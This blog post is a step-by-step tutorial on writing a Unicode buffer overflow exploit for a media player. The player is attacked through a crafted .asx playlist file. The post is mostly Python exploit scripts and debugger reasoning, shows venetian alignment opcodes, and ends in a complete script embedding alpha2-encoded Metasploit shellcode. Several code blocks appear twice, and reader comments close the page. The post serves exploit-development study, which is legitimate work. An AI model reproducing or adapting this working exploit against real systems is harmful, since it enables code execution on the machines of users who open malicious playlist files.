Here is the POC :
#!/usr/bin/python
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41" * 2046
footer = '"/></entry></asx>'
payload = junk
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41" * 2046
footer = '"/></entry></asx>'
payload = junk
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
Now let's see what's happened with debugger
Ok, let's see the instruction at 011A8D73 memory address
As we're seeing that the opcode of 011A8D73 memory address is "0000" which have mean in assembly language is "add byte ptr ds:[eax], al", but ain't it which we needed, so look some instruction around the offset of it and we will look a good opcode like "004100" and "41", have you thought what i'm thinking? May be it's our fuzzer's data, because in unicode application if we send "\x41" data it will converted to the "0041" in the stack. So if the offset in EIP register now is 011A8D73, maybe EIP already execute the offset of our fuzzer before.
For ensure about that now we will send the fuzzer which have value "\xcc", as a opcode it have an assembly instruction like a "break point", so if our fuzzer have executed, then it will pause at the break point instruction ^_^
We must know the format of our fuzzer when it have position in the stack first.
As we can see that first byte of our fuzzer become an opcode "004100", so if we send the fuzzer 'junk = "\xcc"*2046' then the first byte will become an opcode "00cc00" and it not an opcode of the break point instruction anymore
In order to solved this problem, i remember some words in the corelan post about unicode :
In our case, we need to find instructions that will “eat away” the
null bytes that were added and causing issues. We can solve this by
using one of the following opcodes (depending on which register contains
a writable address and can be used) :
So, if for example esi is writable (and you don’t mind that something is written to the location pointed to by that register), then you can use \x6e between two instructions, in order to align the null bytes.
00 6E 00:add byte ptr [esi],ch
00 6F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
00 71 00:add byte ptr [ecx],dh
00 72 00:add byte ptr [edx],dh
00 73 00:add byte ptr [ebx],dh
(62, 6d are 2 others that can be used – be creative & see what works for you)So, if for example esi is writable (and you don’t mind that something is written to the location pointed to by that register), then you can use \x6e between two instructions, in order to align the null bytes.
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41" #004100:add byte ptr [ecx],al (it's same as "\x6e" too)
junk+= "\xcc"
footer = '"/></entry></asx>'
payload = junk
sisa = "\x41" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
junk = "\x41" #004100:add byte ptr [ecx],al (it's same as "\x6e" too)
junk+= "\xcc"
footer = '"/></entry></asx>'
payload = junk
sisa = "\x41" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
As we can see that the flow of application have break at the offset 011A7D7B where the offset before was the offset of the break point instruction ("\xcc"). It have mean that all of our fuzzer will execute by the application.
The conclusion is now we have a full control of this application's flow, now we will landing the shellcode, in order to create a shellcode in unicode application, we need an special encoder like as alpha2 encoder, but the encoder needs a register that points directly at itself. In this state we can't find a register that points directly to the current location ("011A7D7A"), so where we must landing our shellcode?
We need to modify one of the registers in order to make it points directly to the encoded shellcode. Here we will modify EAX registers.
Now we search the register which have points almost at the current location now, Let's dump the data of all registers and look at the EPB register's data
Look like a good points location. Now we need to put the value of ebp into eax, but even if we did it, the eax register still haven't points directly to the encoded shellcode. So we will add 100 byte to the eax register and then we can use some padding to put the shellcode exactly where it needs to be.
In order to do that we need the following code :
push ebp # put ebp to the stack pop eax # get 4byte address from the stack to eax # eax = ebp add eax,0x11001200 # eax+11001200 sub eax,0x11001100 # eax-11001100 # eax+100 push eax # put eax to the stack ret # get 4byte address from the stack and execute
------------------------------------------------------------------------ the opcode of the assembly instructions above are : "\x55" #push ebp "\x58" #pop eax "\x05\x00\x12\x00\x11" #add eax,0x11001200 "\x2d\x00\x11\x00\x11" #sub eax,0x11001100 "\x50" #push eax "\xc3" #ret
------------------------------------------------------------------------ convert into opcode which compatible in unicode (venetian code) "\x55" #push ebp "\x6e" #add [esi+0x0],ch "\x58" #pop eax "\x6e" #add [esi+0x0],ch "\x05\x12\x11" #add eax,0x11001200 "\x6e" #add [esi+0x0],ch "\x2d\x11\x11" #sub eax,0x11001100 "\x6e" #add [esi+0x0],ch "\x50" #push eax "\x6e" #add [esi+0x0],ch "\xc3" #ret "\x6e" #add [esi+0x0],ch
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
padding = "\x42"*100 #supposition provisional
padding += "\x43"*100
padding += "\x44"*100
payload = junk+venetian+padding
sisa = "\x47" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
padding = "\x42"*100 #supposition provisional
padding += "\x43"*100
padding += "\x44"*100
payload = junk+venetian+padding
sisa = "\x47" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
It's look like that our fuzzer have position on EAX register, but we still haven't find the direct position of it, now let's dump the data of eax register
Our fuzzer have point directly to the eax in offset 011A8EC4, meanwhile the first of the data "\x43" from our fuzzer was beginning from offset 011A8EB4, may be we must add 10 byte in the "\x42" data in our fuzzer
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
padding = "\x42"*110 #supposition provisional
padding += "\x43"*100
padding += "\x44"*100
payload = junk+venetian+padding
sisa = "\x47" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
padding = "\x42"*110 #supposition provisional
padding += "\x43"*100
padding += "\x44"*100
payload = junk+venetian+padding
sisa = "\x47" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
Hem, maybe we excess 2 byte from our fuzzer, now let's change a bit of the fuzzer
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
padding = "\x42"*108
evilcode = "DEADBEEF"
payload = junk+venetian+padding+evilcode
sisa = "\x47" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
padding = "\x42"*108
evilcode = "DEADBEEF"
payload = junk+venetian+padding+evilcode
sisa = "\x47" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
It's look better than before ;)
Now we have the direct access to the eax register, and then we will generate the encoded shellcode using alpha2 encoder.
Ok, now let's combine that all and see what's happenning?
header = '<asx version = "3.0" ><entry><title>Download</title><ref href = "WWW.'
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
# msfpayload windows/exec cmd=calc R | ./alpha2 eax --unicode --uppercase
padding = "\x42"*108
evilcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABAR"
"ALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58A"
"APAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB3"
"0APB944JBKLYXSYKPKPM0S0SYK5NQZ21T4KQB00TKQBL"
"L4KQBLTDKSBO8LOGGPJNFNQKONQY0VLOL1Q3LKRNLMPW"
"Q8OLMKQXGJBZP0RR7TKR2N0TKOROLKQXPDKOP2X557PC"
"DPJM18PPPTKOXLXDK28MPKQXSK3OLOY4KNT4KKQHVP1K"
"OP1WPVLY1XOLMM1I7NX9PSEKDKS3MZXOK3MND2UK2R8D"
"KPXMTKQXS2FDKLL0KTKPXMLKQ9CTKKTTKKQXP4IOTO4N"
"DQK1KQQ1IQJPQKOK0281O0ZTKMBZK56QMQZM1TMU5X9K"
"PKPKPPPRHP1DK2OCWKOIEWKL06U5RR6S8W6TUWMEMKO8"
"UOLKVCLLJSPKKK0D5LEWK17LSSBROQZM0QCKOIES3QQR"
"L33M0A")
footer = '"/></entry></asx>'
payload = junk+venetian+padding+evilcode
sisa = "\x47" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
junk = "\x41"
venetian = "\x55"
venetian+= "\x6e"
venetian+= "\x58"
venetian+= "\x6e"
venetian+= "\x05\x12\x11"
venetian+= "\x6e"
venetian+= "\x2d\x11\x11"
venetian+= "\x6e"
venetian+= "\x50"
venetian+= "\x6e"
venetian+= "\xc3"
# msfpayload windows/exec cmd=calc R | ./alpha2 eax --unicode --uppercase
padding = "\x42"*108
evilcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABAR"
"ALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58A"
"APAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB3"
"0APB944JBKLYXSYKPKPM0S0SYK5NQZ21T4KQB00TKQBL"
"L4KQBLTDKSBO8LOGGPJNFNQKONQY0VLOL1Q3LKRNLMPW"
"Q8OLMKQXGJBZP0RR7TKR2N0TKOROLKQXPDKOP2X557PC"
"DPJM18PPPTKOXLXDK28MPKQXSK3OLOY4KNT4KKQHVP1K"
"OP1WPVLY1XOLMM1I7NX9PSEKDKS3MZXOK3MND2UK2R8D"
"KPXMTKQXS2FDKLL0KTKPXMLKQ9CTKKTTKKQXP4IOTO4N"
"DQK1KQQ1IQJPQKOK0281O0ZTKMBZK56QMQZM1TMU5X9K"
"PKPKPPPRHP1DK2OCWKOIEWKL06U5RR6S8W6TUWMEMKO8"
"UOLKVCLLJSPKKK0D5LEWK17LSSBROQZM0QCKOIES3QQR"
"L33M0A")
footer = '"/></entry></asx>'
payload = junk+venetian+padding+evilcode
sisa = "\x47" * (2046-len(payload))
payload+= sisa
f = open('fuzzer.asx','w')
f.write(header+payload+footer)
f.close()
5 comments:
wow...
why? is there something wrong in my post?
please correct it, because i'm still learn about it.
no! it's very cool..
very good article, may u teach me?? :D
Please visit https://www.corelan.be/index.php/articles/
maybe it's can help you more about exploit development
nice post mel ;)
try beat CyberLink Power2Go 7, it's a challenge :D
Post a Comment